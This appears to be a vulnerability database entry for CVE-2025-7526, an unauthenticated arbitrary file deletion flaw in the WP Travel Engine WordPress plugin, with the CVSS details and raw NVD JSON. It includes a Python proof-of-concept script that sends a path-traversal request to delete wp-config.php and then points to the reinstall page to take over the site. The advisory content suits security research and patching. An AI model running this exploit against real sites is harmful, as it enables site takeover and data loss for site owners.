Security Vulnerability Report
中文
CVE-2025-7526 CVSS 9.8 CRITICAL

CVE-2025-7526

Published: 2025-10-09 06:15:36
Last Modified: 2026-04-15 00:35:42

Description

The WP Travel Engine – Tour Booking Plugin – Tour Operator Software plugin for WordPress is vulnerable to arbitrary file deletion (via renaming) due to insufficient file path validation in the set_user_profile_image function in all versions up to, and including, 6.6.7. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Travel Engine < 6.6.7
WP Travel Engine <= 6.6.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-7526 PoC - WP Travel Engine Arbitrary File Deletion # Vulnerability: Insufficient file path validation in set_user_profile_image() # Impact: Arbitrary file deletion leading to RCE via wp-config.php deletion import requests TARGET_URL = "http://target-wordpress-site.com" # Target file to delete - wp-config.php leads to RCE via reinstall wizard TARGET_FILE = "../../../wp-config.php" def exploit(target_url, target_file): """ Exploit arbitrary file deletion via path traversal in WP Travel Engine's set_user_profile_image function. """ # The vulnerable endpoint handles profile image upload/rename endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Craft payload with directory traversal in image path payload = { "action": "wp_travel_engine_set_user_profile_image", "user_id": "1", "profile_image": target_file # Path traversal to delete arbitrary file } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Send unauthenticated request - no auth required (PR:N) response = requests.post(endpoint, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Target file '{target_file}' should now be deleted/renamed") print(f"[+] Visit {target_url}/wp-admin/install.php to complete RCE") else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": exploit(TARGET_URL, TARGET_FILE)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7526", "sourceIdentifier": "[email protected]", "published": "2025-10-09T06:15:35.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Travel Engine – Tour Booking Plugin – Tour Operator Software plugin for WordPress is vulnerable to arbitrary file deletion (via renaming) due to insufficient file path validation in the set_user_profile_image function in all versions up to, and including, 6.6.7. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-travel-engine/tags/6.5.6/includes/dashboard/class-wp-travel-engine-form-handler.php#L512", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c754d957-26a8-4fef-a487-96d566c2dc36?source=cve", "source": "[email protected]"}]}}